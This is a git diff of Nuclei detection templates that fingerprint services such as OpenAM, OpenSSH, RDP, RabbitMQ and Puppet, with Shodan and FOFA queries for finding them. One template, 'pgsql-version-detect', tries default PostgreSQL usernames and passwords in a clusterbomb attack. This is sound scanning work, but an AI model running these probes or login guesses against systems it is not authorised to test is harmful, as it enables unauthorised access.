"{{BaseURL}}/am/json/serverinfo/*" - - "{{BaseURL}}/openam/json/serverinfo/*" - redirects: true - stop-at-first-match: true - max-redirects: 2 - matchers-condition: and + - "{{BaseURL}}/openam/ui/PWResetUserValidation" + - "{{BaseURL}}/OpenAM-11.0.0/ui/PWResetUserValidation" + - "{{BaseURL}}/ui/PWResetUserValidation" + matchers: - - type: word - words: - - 'urlArgs : "v=' - - 'Sign in to OpenAM' - - 'ForgeRock' - - 'forgerock' - - 'FRForgotUsername' - - 'successfulUserRegistrationDestination' - condition: or - - type: status - status: - - 200 - extractors: - - type: regex - part: body - group: 1 - regex: - - 'urlArgs : "v=([0-9.abcd]+)' + - type: dsl + dsl: + - 'contains(body, "jato.pageSession") && status_code==200' \ No newline at end of file diff --git a/poc/detect/opencast-detect-9265.yaml b/poc/detect/opencast-detect-9265.yaml index 220001c506..45949c20f8 100644 --- a/poc/detect/opencast-detect-9265.yaml +++ b/poc/detect/opencast-detect-9265.yaml @@ -1,5 +1,4 @@ id: opencast-panel - info: name: Opencast Admin Panel Discovery author: cyllective,daffainfo @@ -7,24 +6,19 @@ info: description: An Opencast Admin panel was discovered. Opencast is a free and open source solution for automated video capture and distribution at scale. reference: - https://github.com/opencast/opencast - metadata: - max-request: 1 tags: panel,opencast - -http: +requests: - method: GET path: - "{{BaseURL}}/admin-ng/login.html" - matchers-condition: and matchers: - type: word part: body words: - 'Opencast' - - type: status status: - 200 -# digest: 4a0a00473045022100ebb19c1b566f4203195a369a82acbfc24d8a410bfc374315aa61bce69b2d6b010220370b0806632e77387ec5a0a8fd03ca0c6a741516e8e7fe1124a5638a3e6c1a8e:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/04/21 diff --git a/poc/detect/opencast-detect-9263.yaml b/poc/detect/opencast-detect.yaml similarity index 100% rename from poc/detect/opencast-detect-9263.yaml rename to poc/detect/opencast-detect.yaml diff --git a/poc/detect/openemr-detect-9273.yaml b/poc/detect/openemr-detect-9273.yaml index 848d3baa4d..8ec4091a7f 100644 --- a/poc/detect/openemr-detect-9273.yaml +++ b/poc/detect/openemr-detect-9273.yaml @@ -4,7 +4,8 @@ info: author: pussycat0x severity: info metadata: - shodan-dork: 'app="OpenEMR"' + fofa-query: app="OpenEMR" + shodan-query: http.html:"OpenEMR" tags: panel,openemr requests: - method: GET diff --git a/poc/detect/opensis-detect-9314.yaml b/poc/detect/opensis-detect-9314.yaml deleted file mode 100644 index 5627e557bf..0000000000 --- a/poc/detect/opensis-detect-9314.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: opensis-detect - -info: - name: OpenSIS Login Panel - Detect - author: pikpikcu - severity: info - description: OpenSIS login panel was detected. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 - metadata: - max-request: 2 - shodan-query: http.title:"openSIS" - tags: panel,opensis,login - -http: - - method: GET - path: - - "{{BaseURL}}" - - "{{BaseURL}}/opensis/index.php" - - stop-at-first-match: true - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "openSIS Student Information System" - - - type: status - status: - - 200 - -# digest: 4b0a00483046022100f544c1b52148e1aed86d6f29e316b0da16c13cbba204601c91e94562c8e6e189022100a08f6840903fe58fc64a6f3b92dd8bc5632668b61fa30ced6da68b4ae684f124:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/openssh-detect.yaml b/poc/detect/openssh-detect.yaml new file mode 100644 index 0000000000..3ebb5103c4 --- /dev/null +++ b/poc/detect/openssh-detect.yaml @@ -0,0 +1,36 @@ +id: openssh-detect + +info: + name: OpenSSH Service - Detect + author: r3dg33k,daffainfo,iamthefrogy + severity: info + description: | + OpenSSH service was detected. + reference: + - http://www.openwall.com/lists/oss-security/2016/08/01/2 + - http://www.openwall.com/lists/oss-security/2018/08/15/5 + - http://seclists.org/fulldisclosure/2016/Jul/51 + - https://nvd.nist.gov/vuln/detail/CVE-2016-6210 + - https://nvd.nist.gov/vuln/detail/CVE-2018-15473 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: seclists,network,ssh,openssh,detect + +tcp: + - host: + - "{{Hostname}}" + port: 22 + + matchers: + - type: regex + regex: + - '(?i)OpenSSH' + + extractors: + - type: regex + regex: + - '(?i)SSH-(.*)-OpenSSH_[^\r]+' +# digest: 4b0a0048304602210095847f4fb20ccbd36d880911ebc120378339e74160b7406a875eff584ede101d0221008ddf1cdc72b5b264ce27c4a2bdb9fabf750d58dda6e76990fedb7646445212f9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/openx-detect.yaml b/poc/detect/openx-detect.yaml index 0d1a1418f2..b0a7dfcdfd 100644 --- a/poc/detect/openx-detect.yaml +++ b/poc/detect/openx-detect.yaml @@ -1,14 +1,17 @@ id: openx-detect + info: name: OpenX detect author: pikpikcu severity: info tags: tech,openx + requests: - method: GET path: - "{{BaseURL}}/www/admin/index.php" - "{{BaseURL}}/admin/index.php" + stop-at-first-match: true matchers-condition: and matchers: @@ -16,9 +19,11 @@ requests: part: body regex: - 'OpenX' + - type: status status: - 200 + extractors: - type: regex part: body diff --git a/poc/detect/oracle-dbass-detect-9351.yaml b/poc/detect/oracle-dbass-detect-9351.yaml index 862063958d..9b28868a23 100644 --- a/poc/detect/oracle-dbass-detect-9351.yaml +++ b/poc/detect/oracle-dbass-detect-9351.yaml @@ -4,15 +4,18 @@ info: author: pussycat0x severity: info tags: oracle,tech + requests: - method: GET path: - '{{BaseURL}}/dbaas_monitor/login' + matchers-condition: and matchers: - type: word words: - 'DBaaS Monitor' + - type: status status: - 200 diff --git a/poc/detect/oracle-dbass-detect.yaml b/poc/detect/oracle-dbass-detect.yaml new file mode 100644 index 0000000000..862063958d --- /dev/null +++ b/poc/detect/oracle-dbass-detect.yaml @@ -0,0 +1,18 @@ +id: oracle-dbass-detect +info: + name: Oracle DBaaS Monitor Detect + author: pussycat0x + severity: info + tags: oracle,tech +requests: + - method: GET + path: + - '{{BaseURL}}/dbaas_monitor/login' + matchers-condition: and + matchers: + - type: word + words: + - 'DBaaS Monitor' + - type: status + status: + - 200 diff --git a/poc/detect/owasp-juice-shop-detected-9416.yaml b/poc/detect/owasp-juice-shop-detected-9416.yaml index 6f7274cc4e..11002f580a 100644 --- a/poc/detect/owasp-juice-shop-detected-9416.yaml +++ b/poc/detect/owasp-juice-shop-detected-9416.yaml @@ -3,8 +3,8 @@ info: name: OWASP Juice Shop author: pikpikcu severity: info - metadata: - fofa-query: title="OWASP Juice Shop" + reference: + - https://fofa.so/result?qbase64=dGl0bGU9Ik9XQVNQIEp1aWNlIFNob3Ai tags: tech,owasp requests: - method: GET diff --git a/poc/detect/owasp-juice-shop-detected.yaml b/poc/detect/owasp-juice-shop-detected-9418.yaml similarity index 100% rename from poc/detect/owasp-juice-shop-detected.yaml rename to poc/detect/owasp-juice-shop-detected-9418.yaml diff --git a/poc/detect/pega-detect-9475.yaml b/poc/detect/pega-detect-9475.yaml index edd3f4f9a4..d424da54ad 100644 --- a/poc/detect/pega-detect-9475.yaml +++ b/poc/detect/pega-detect-9475.yaml @@ -1,15 +1,16 @@ id: pega-detect + info: name: Pega Infinity Detection author: sshell severity: info tags: tech,pega + requests: - method: GET path: - "{{BaseURL}}/prweb/PRRestService/unauthenticatedAPI/v1/docs" - headers: - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55 + matchers-condition: and matchers: - type: word diff --git a/poc/detect/pega-detect.yaml b/poc/detect/pega-detect.yaml new file mode 100644 index 0000000000..edd3f4f9a4 --- /dev/null +++ b/poc/detect/pega-detect.yaml @@ -0,0 +1,24 @@ +id: pega-detect +info: + name: Pega Infinity Detection + author: sshell + severity: info + tags: tech,pega +requests: + - method: GET + path: + - "{{BaseURL}}/prweb/PRRestService/unauthenticatedAPI/v1/docs" + headers: + User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55 + matchers-condition: and + matchers: + - type: word + words: + - '"description" :"The Pega API' + - type: status + status: + - 200 + - type: word + words: + - 'application/json' + part: header diff --git a/poc/detect/pgsql-version-detect.yaml b/poc/detect/pgsql-version-detect.yaml new file mode 100644 index 0000000000..cbbbdccf98 --- /dev/null +++ b/poc/detect/pgsql-version-detect.yaml @@ -0,0 +1,48 @@ +id: pgsql-version-detect + +info: + name: Postgresql Version - Detect + author: pussycat0x + severity: high + description: | + Detect Postgresql Version. + reference: + - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-version + metadata: + shodan-query: product:"PostgreSQL" + verified: true + tags: js,network,postgresql,enum,authenticated + +javascript: + - code: | + const postgres = require('nuclei/postgres'); + const client = new postgres.PGClient; + connected = client.ExecuteQuery(Host, Port, User, Pass, Db, "select version();"); + Export(connected); + + args: + Host: "{{Host}}" + Port: 5432 + User: "{{usernames}}" + Pass: "{{password}}" + Db: "{{database}}" + + payloads: + usernames: + - postgres + - admin + password: + - postgres + - + - 123 + - amber + database: + - postgres + + attack: clusterbomb + + extractors: + - type: json + json: + - '.Rows[0].version' +# digest: 490a0046304402203384466c9313060ea59f293d94bd09aa30c9d99c0a05dd2ecd4315ddfa2ca0d202204d8212fedc3a1940e5b559d4da849d8ad93083192005f0124e87df32c2a4088b:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/phpcollab-detect-9501.yaml b/poc/detect/phpcollab-detect-9501.yaml deleted file mode 100644 index 6bfc4b094e..0000000000 --- a/poc/detect/phpcollab-detect-9501.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: phpcollab-detect - -info: - name: PhpCollab detect - author: pikpikcu - severity: info - tags: tech,phpcollab - -requests: - - method: GET - path: - - "{{BaseURL}}/general/login.php" - - matchers: - - type: word - part: body - words: - - 'PhpCollab' - - extractors: - - type: regex - part: body - group: 1 - regex: - - '' diff --git a/poc/detect/phpcollab-detect.yaml b/poc/detect/phpcollab-detect.yaml index 68b8cf104c..6bfc4b094e 100644 --- a/poc/detect/phpcollab-detect.yaml +++ b/poc/detect/phpcollab-detect.yaml @@ -1,18 +1,22 @@ id: phpcollab-detect + info: name: PhpCollab detect author: pikpikcu severity: info tags: tech,phpcollab + requests: - method: GET path: - "{{BaseURL}}/general/login.php" + matchers: - type: word part: body words: - 'PhpCollab' + extractors: - type: regex part: body diff --git a/poc/detect/pi-hole-detect-9581.yaml b/poc/detect/pi-hole-detect-9581.yaml new file mode 100644 index 0000000000..246c2319aa --- /dev/null +++ b/poc/detect/pi-hole-detect-9581.yaml @@ -0,0 +1,21 @@ +id: pi-hole-detect +info: + name: pi-hole detector + author: geeknik + severity: info +requests: + - method: GET + path: + - "{{BaseURL}}/admin/index.php" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "Pi-hole" + - "Web Interface" + - "FTL" + part: body + condition: and diff --git a/poc/detect/pi-hole-detect-9582.yaml b/poc/detect/pi-hole-detect-9582.yaml deleted file mode 100644 index 4240a1feaf..0000000000 --- a/poc/detect/pi-hole-detect-9582.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: pi-hole-detect -info: - name: pi-hole detector - author: geeknik - severity: info - tags: tech,pihole -requests: - - method: GET - path: - - "{{BaseURL}}/admin/index.php" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "Pi-hole" - - "Web Interface" - - "FTL" - part: body - condition: and diff --git a/poc/detect/pi-hole-detect-9583.yaml b/poc/detect/pi-hole-detect-9583.yaml index 22d1a56dca..4240a1feaf 100644 --- a/poc/detect/pi-hole-detect-9583.yaml +++ b/poc/detect/pi-hole-detect-9583.yaml @@ -1,22 +1,18 @@ id: pi-hole-detect - info: name: pi-hole detector author: geeknik severity: info tags: tech,pihole - requests: - method: GET path: - "{{BaseURL}}/admin/index.php" - matchers-condition: and matchers: - type: status status: - 200 - - type: word words: - "Pi-hole" diff --git a/poc/detect/piwigo-detect.yaml b/poc/detect/piwigo-detect.yaml new file mode 100644 index 0000000000..556fde95b3 --- /dev/null +++ b/poc/detect/piwigo-detect.yaml @@ -0,0 +1,30 @@ +id: piwigo-detect + +info: + name: Piwigo Detect + author: pikpikcu + severity: info + metadata: + max-request: 1 + fofa-query: title="piwigo" + tags: piwigo,tech + +http: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'piwigo.org">Piwigo' + - 'Piwigo (aka PWG), see piwigo.org' + condition: or + + - type: status + status: + - 200 + +# digest: 4a0a00473045022016bd41cc0ef54f91028915a4537fb19c7b86192d433fd974164514461d7ff026022100c31fef90cc35cf1afeb889227571ff9179e9c64a736c88873795024624b98282:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/plone-cms-detect-9606.yaml b/poc/detect/plone-cms-detect-9606.yaml index 729051fa16..bf1686ce7b 100644 --- a/poc/detect/plone-cms-detect-9606.yaml +++ b/poc/detect/plone-cms-detect-9606.yaml @@ -4,9 +4,9 @@ info: author: cyllective severity: info description: Detects Plone CMS + tags: tech,plone,cms reference: - https://github.com/plone/Products.CMFPlone - tags: tech,plone,cms requests: - method: GET path: diff --git a/poc/detect/plone-cms-detect.yaml b/poc/detect/plone-cms-detect.yaml deleted file mode 100644 index bf1686ce7b..0000000000 --- a/poc/detect/plone-cms-detect.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: plone-cms-detect -info: - name: Plone CMS detect - author: cyllective - severity: info - description: Detects Plone CMS - tags: tech,plone,cms - reference: - - https://github.com/plone/Products.CMFPlone -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers: - - type: word - part: body - condition: or - words: - - 'Powered by Plone & Python' diff --git a/poc/detect/pop3-detect.yaml b/poc/detect/pop3-detect.yaml new file mode 100644 index 0000000000..47de28817e --- /dev/null +++ b/poc/detect/pop3-detect.yaml @@ -0,0 +1,34 @@ +id: pop3-detect + +info: + name: POP3 Protocol - Detect + author: pussycat0x + severity: info + description: | + POP3 protocol was detected. + reference: + - https://nmap.org/nsedoc/scripts/pop3-ntlm-info.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cwe-id: CWE-200 + metadata: + max-request: 1 + shodan-query: pop3 port:110 + verified: true + tags: network,detect,pop3,mail + +tcp: + - inputs: + - data: "\n" + + host: + - "{{Hostname}}" + port: 110 + + matchers: + - type: word + words: + - "+OK Dovecot ready" + - "POP3" + condition: or +# digest: 4b0a00483046022100d84d6f9281d16623990024d7997066ee842178cb92068b2cb6d12230f025f600022100b6e6e3586e8cf4221345a7bf191355738f793f1afeda02034f1df31e511af58c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/privatebin-detect.yaml b/poc/detect/privatebin-detect.yaml new file mode 100644 index 0000000000..cd31f07925 --- /dev/null +++ b/poc/detect/privatebin-detect.yaml @@ -0,0 +1,38 @@ +id: privatebin-detect + +info: + name: PrivateBin - Detect + author: righettod + severity: info + description: | + PrivateBin was detected. + reference: + - https://privatebin.info/ + metadata: + max-request: 1 + verified: true + shodan-query: title:"PrivateBin" + tags: tech,privatebin,detect + +http: + - method: GET + path: + - "{{BaseURL}}" + + redirects: true + max-redirects: 2 + + matchers: + - type: dsl + dsl: + - 'status_code == 200' + - 'contains_any(to_lower(body), "privatebin.js", "privatebin", "content=\"privatebin")' + condition: and + + extractors: + - type: regex + part: body + group: 1 + regex: + - 'privatebin\.[a-z]{2,3}\?([0-9.]+)' +# digest: 4a0a0047304502207e7f69b925de97e067c23975a23bafc7e6ffa4d3a65f17c35dde4e941929a3c1022100c55e9d8562cff5a99fb2b8e406a8ee4ab9f89612fd201fe069b5c3282683e805:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/proftpd-server-detect.yaml b/poc/detect/proftpd-server-detect.yaml new file mode 100644 index 0000000000..f3fcaeb1c9 --- /dev/null +++ b/poc/detect/proftpd-server-detect.yaml @@ -0,0 +1,31 @@ +id: proftpd-server-detect + +info: + name: ProFTPD Server Detect + author: pussycat0x + severity: info + description: | + The File Transfer Protocol (FTP) is a standard network protocol used to transfer computer files between a client and server on a computer network. + metadata: + max-request: 1 + shodan-query: product:"ProFTPD" + verified: true + tags: network,ftp,proftpd,detect + +tcp: + - inputs: + - data: "\n" + host: + - "{{Hostname}}" + port: 21 + + matchers: + - type: word + words: + - "ProFTPD Server" + + extractors: + - type: regex + regex: + - "ProFTPD ([0-9.a-z]+) Server" +# digest: 4b0a00483046022100a4d95024ab4246acf55b6dcfb77a28a747a0526f8b184ac42d039769fa5ca867022100ae8fd7baf1a8508a82106a74e33b198053e0cab7d12df07e7ed0eb4d62e2d011:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/prometheus-exporter-detect-9674.yaml b/poc/detect/prometheus-exporter-detect-9674.yaml deleted file mode 100644 index e0f4bf47fe..0000000000 --- a/poc/detect/prometheus-exporter-detect-9674.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: prometheus-exporter-detect -info: - name: Prometheus exporter detect - author: jarijaas - severity: info - description: Prometheus exporter detector - tags: panel - reference: https://github.com/prometheus/prometheus/wiki/Default-port-allocations -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers-condition: and - matchers: - - type: word - words: - - Exporter # Exporters have "Exporter" in the page title (e.g, Node Exporter, Bind Exporter and so on) - - /metrics - condition: and - extractors: # Extract exporter name - - type: regex - part: body - name: exporter_name - group: 1 - regex: - - "(.*?)" diff --git a/poc/detect/prometheus-exporter-detect-9676.yaml b/poc/detect/prometheus-exporter-detect-9676.yaml new file mode 100644 index 0000000000..c581c3448c --- /dev/null +++ b/poc/detect/prometheus-exporter-detect-9676.yaml @@ -0,0 +1,28 @@ +id: prometheus-exporter-detect +info: + name: Prometheus exporter detect + author: jarijaas + severity: info + description: Prometheus exporter detector + tags: panel + reference: https://github.com/prometheus/prometheus/wiki/Default-port-allocations +requests: + - method: GET + path: + - "{{BaseURL}}" + headers: + User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55 + matchers-condition: and + matchers: + - type: word + words: + - Exporter # Exporters have "Exporter" in the page title (e.g, Node Exporter, Bind Exporter and so on) + - /metrics + condition: and + extractors: # Extract exporter name + - type: regex + part: body + name: exporter_name + group: 1 + regex: + - "(.*?)" diff --git a/poc/detect/prometheus-exporter-detect.yaml b/poc/detect/prometheus-exporter-detect.yaml index c581c3448c..b77807a555 100644 --- a/poc/detect/prometheus-exporter-detect.yaml +++ b/poc/detect/prometheus-exporter-detect.yaml @@ -6,6 +6,7 @@ info: description: Prometheus exporter detector tags: panel reference: https://github.com/prometheus/prometheus/wiki/Default-port-allocations + requests: - method: GET path: @@ -25,4 +26,4 @@ requests: name: exporter_name group: 1 regex: - - "(.*?)" + - "(.*?)" \ No newline at end of file diff --git a/poc/detect/prtg-detect-9704.yaml b/poc/detect/prtg-detect-9704.yaml index e24606ba47..a5aad5cd3e 100644 --- a/poc/detect/prtg-detect-9704.yaml +++ b/poc/detect/prtg-detect-9704.yaml @@ -4,6 +4,7 @@ info: author: geeknik description: Monitor all the systems, devices, traffic, and applications in your IT infrastructure -- https://www.paessler.com/prtg severity: info + tags: tech,prtg requests: - method: GET path: diff --git a/poc/detect/prtg-detect-9706.yaml b/poc/detect/prtg-detect-9706.yaml deleted file mode 100644 index eb2761529e..0000000000 --- a/poc/detect/prtg-detect-9706.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: prtg-detect -info: - name: Detect PRTG - author: geeknik - description: Monitor all the systems, devices, traffic, and applications in your IT infrastructure -- https://www.paessler.com/prtg - severity: info - tags: tech,prtg -requests: - - method: GET - path: - - "{{BaseURL}}/index.htm" - - "{{BaseURL}}/prtg/index.htm" - - "{{BaseURL}}/PRTG/index.htm" - stop-at-first-match: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - part: body - words: - - "PRTG Network Monitor" - - type: regex - part: header - regex: - - PRTG - extractors: - - type: kval - part: header - kval: - - Server diff --git a/poc/detect/puppet-node-manager-detect-9720.yaml b/poc/detect/puppet-node-manager-detect-9720.yaml deleted file mode 100644 index a193423212..0000000000 --- a/poc/detect/puppet-node-manager-detect-9720.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: puppet-node-manager-detect - -info: - name: Puppet Node Manager - author: pussycat0x - severity: info - metadata: - max-request: 1 - fofa-query: 'app="puppet-Node-Manager"' - tags: node,tech - -http: - - method: GET - path: - - "{{BaseURL}}" - - matchers-condition: and - matchers: - - type: word - words: - - 'Puppet Node Manager' - - - type: status - status: - - 200 - -# digest: 4b0a00483046022100c10bf89d4461579a558485f770b2d098f424f8fa717f89d0c1f2c40a24fef518022100d805d1324e6441eb8eed1dae4e4d4bc1fdbc4a5ceb9948a16965a707e3e33a99:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/puppet-node-manager-detect.yaml b/poc/detect/puppet-node-manager-detect.yaml new file mode 100644 index 0000000000..a7dea10e27 --- /dev/null +++ b/poc/detect/puppet-node-manager-detect.yaml @@ -0,0 +1,20 @@ +id: puppet-node-manager-detect +info: + name: Puppet Node Manager + author: pussycat0x + severity: info + metadata: + fofa-dork: 'app="puppet-Node-Manager"' + tags: node,tech +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers-condition: and + matchers: + - type: word + words: + - 'Puppet Node Manager' + - type: status + status: + - 200 diff --git a/poc/detect/puppetdb-detect-9717.yaml b/poc/detect/puppetdb-detect-9717.yaml deleted file mode 100644 index 31b735ac37..0000000000 --- a/poc/detect/puppetdb-detect-9717.yaml +++ /dev/null @@ -1,40 +0,0 @@ -id: puppetdb-detect - -info: - name: PuppetDB Detection - author: c-sh0 - severity: info - reference: - - https://puppet.com/docs/puppetdb/7/api/meta/v1/version.html#pdbmetav1version - metadata: - max-request: 1 - tags: puppet,tech,exposure - -http: - - method: GET - path: - - "{{BaseURL}}/pdb/meta/v1/version" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: header - words: - - 'application/json' - - - type: regex - part: body - regex: - - '"version"\s:\s"([0-9.]+)"' - - extractors: - - type: regex - group: 1 - regex: - - '"version"\s:\s"([0-9.]+)"' - -# digest: 490a0046304402201d7a8a0bad8c33ec30ff05992c6a17d9ec0d4fcb5b7c3d7dfac23f906c15247602203edcec555882edc5b02d3265bb8c6a79b3edd20c50a6158ced83029c4712bda1:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/puppetserver-detect-9722.yaml b/poc/detect/puppetserver-detect-9722.yaml new file mode 100644 index 0000000000..83c9bcabdf --- /dev/null +++ b/poc/detect/puppetserver-detect-9722.yaml @@ -0,0 +1,40 @@ +id: puppetserver-detect + +info: + name: Puppetserver Detection + author: c-sh0 + severity: info + reference: + - https://insinuator.net/2020/09/puppet-assessment-techniques/ + metadata: + max-request: 1 + tags: tech,puppet,exposure,intrusive + +http: + - method: GET + path: + - "{{BaseURL}}/puppet-ca/v1/certificate_request/{{randstr}}" + + matchers-condition: and + matchers: + - type: status + status: + - 404 + + - type: word + part: header + words: + - "x-puppet-version" + case-insensitive: true + + - type: word + part: body + words: + - "{{randstr}}" + + extractors: + - type: kval + kval: + - x_puppet_version + +# digest: 4b0a004830460221009da8fdf7d343803bb76c86b36935e485784f03258b9285ef838fe1bddacf115e02210080939b191b4e6ebd534a1d86ad859bd1cf566f2493f8bf5aa4c26768786edf80:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/rabbitmq-detect.yaml b/poc/detect/rabbitmq-detect.yaml new file mode 100644 index 0000000000..2ff24e5bd3 --- /dev/null +++ b/poc/detect/rabbitmq-detect.yaml @@ -0,0 +1,32 @@ +id: rabbitmq-detect + +info: + name: RabbitMQ Detection + author: pussycat0x + severity: info + description: | + RabbitMQ is an open-source message-broker software that originally implemented the Advanced Message Queuing Protocol and has since been extended with a plug-in architecture to support Streaming Text Oriented Messaging Protocol, MQ Telemetry Transport, and other protocols. + reference: + - https://nmap.org/nsedoc/scripts/amqp-info.html + metadata: + max-request: 1 + shodan-query: product:"RabbitMQ" + verified: true + tags: network,rabbitmq,oss,detect + +tcp: + - inputs: + - data: "AMQP\u0000\u0000\t\u0001" + + host: + - "{{Hostname}}" + port: 5672 + + matchers-condition: and + matchers: + - type: word + words: + - "publisher_confirmst" + - "RabbitMQ" + condition: and +# digest: 4b0a00483046022100c17d0b2f25193fce74cbafa7aad00e36f28e4d50a830b54aa7796d652ee21109022100e661ed1260df7768bafafd85f2a6c824da514845d768937986870b294180f5d2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/rdp-detect-9839.yaml b/poc/detect/rdp-detect-9839.yaml new file mode 100644 index 0000000000..496212f984 --- /dev/null +++ b/poc/detect/rdp-detect-9839.yaml @@ -0,0 +1,80 @@ +id: rdp-detect + +info: + name: Windows RDP Detection + author: princechaddha + severity: info + metadata: + verified: true + tags: network,windows,rdp + +network: + - inputs: + - data: "0300002a25e00000000000436f6f6b69653a206d737473686173683d746573740d0a010008000b000000" + type: hex + read-size: 2048 + + host: + - "{{Host}}:3389" + - "{{Hostname}}" + + matchers: + - type: word + name: rdp + encoding: hex + words: + - "030000130ed" + + - type: word + encoding: hex + name: win2000 + words: + - "0300000b06d00000123400" + + - type: word + encoding: hex + name: win2003 + words: + - "030000130ed000001234000300080002000000" + + - type: word + encoding: hex + name: win2008 + words: + - "030000130ed000001234000200080002000000" + + - type: word + encoding: hex + name: win7or2008R2 + words: + - "030000130ed000001234000209080002000000" + + - type: word + encoding: hex + name: win2008R2DC + words: + - "030000130ed000001234000201080002000000" + + - type: word + encoding: hex + name: win10 + words: + - "030000130ed00000123400021f080002000000" + + - type: word + encoding: hex + name: win2012R2OR8 + words: + - "030000130ed00000123400020f080002000000" + + - type: word + encoding: hex + name: win2012R2 + words: + - "030000130ed00000123400020f080008000000" + + - type: word + encoding: hex + name: win2016 + words: + - "030000130ed00000123400021f080008000000" diff --git a/poc/detect/rdp-detect-9840.yaml b/poc/detect/rdp-detect-9840.yaml deleted file mode 100644 index 5e5ae9c240..0000000000 --- a/poc/detect/rdp-detect-9840.yaml +++ /dev/null @@ -1,55 +0,0 @@ -id: rdp-detect -info: - name: Windows RDP Detection - author: princechaddha - severity: info - tags: windows,rdp,network -network: - - inputs: - - data: "0300002a25e00000000000436f6f6b69653a206d737473686173683d746573740d0a010008000b000000" - type: hex - read-size: 2048 - host: - - "{{Hostname}}" - - "{{Host}}:3389" - matchers: - - type: word - encoding: hex - name: win2000 - words: - - "0300000b06d00000123400" - - type: word - encoding: hex - name: win2003 - words: - - "030000130ed000001234000300080002000000" - - type: word - encoding: hex - name: win2008 - words: - - "030000130ed000001234000200080002000000" - - type: word - encoding: hex - name: win7or2008R2 - words: - - "030000130ed000001234000209080002000000" - - type: word - encoding: hex - name: win2008R2DC - words: - - "030000130ed000001234000201080002000000" - - type: word - encoding: hex - name: win10 - words: - - "030000130ed00000123400021f080002000000" - - type: word - encoding: hex - name: win2012R2OR8 - words: - - "030000130ed00000123400020f080002000000" - - type: word - encoding: hex - name: win2016 - words: - - "030000130ed00000123400021f080008000000" diff --git a/poc/detect/rdp-detect.yaml b/poc/detect/rdp-detect.yaml new file mode 100644 index 0000000000..b189855773 --- /dev/null +++ b/poc/detect/rdp-detect.yaml @@ -0,0 +1,87 @@ +id: rdp-detect + +info: + name: Windows Remote Desktop Protocol - Detect + author: princechaddha + severity: info + description: | + Windows Remote Desktop Protocol was detected. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cwe-id: CWE-200 + metadata: + max-request: 1 + verified: true + tags: network,windows,rdp,detect + +tcp: + - inputs: + - data: "0300002a25e00000000000436f6f6b69653a206d737473686173683d746573740d0a010008000b000000" + type: hex + read-size: 2048 + + host: + - "{{Hostname}}" + port: 3389 + + matchers: + - type: word + name: rdp + encoding: hex + words: + - "030000130ed" + + - type: word + encoding: hex + name: win2000/winxp + words: + - "0300000b06d00000123400" + + - type: word + encoding: hex + name: win2003 + words: + - "030000130ed000001234000300080002000000" + + - type: word + encoding: hex + name: win2008 + words: + - "030000130ed000001234000200080002000000" + + - type: word + encoding: hex + name: win7or2008R2 + words: + - "030000130ed000001234000209080002000000" + + - type: word + encoding: hex + name: win2008R2DC + words: + - "030000130ed000001234000201080002000000" + + - type: word + encoding: hex + name: win10 + words: + - "030000130ed00000123400021f080002000000" + + - type: word + encoding: hex + name: win2012R2OR8 + words: + - "030000130ed00000123400020f080002000000" + + - type: word + encoding: hex + name: win2012R2 + words: + - "030000130ed00000123400020f080008000000" + + - type: word + encoding: hex + name: win2016 + words: + - "030000130ed00000123400021f080008000000" +# digest: 4b0a004830460221008b42b0a755e33703481a3a2304a983b9353aa9fcb9dca7e99dcde75ce29aaee002210080e2627eef7229f699b31ee54f7eab8321dfe20582c238cf16f913a908dac783:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/redash-detection.yaml b/poc/detect/redash-detection.yaml index 9d227221ec..bda1cb333a 100644 --- a/poc/detect/redash-detection.yaml +++ b/poc/detect/redash-detection.yaml @@ -1,18 +1,35 @@ id: redash-panel info: - name: Redash Panel - author: Adam Crosser + name: Redash Login Panel - Detect + author: princechaddha severity: info - tags: panel + description: Redash login panel was detected. + classification: + cvss-metrics: 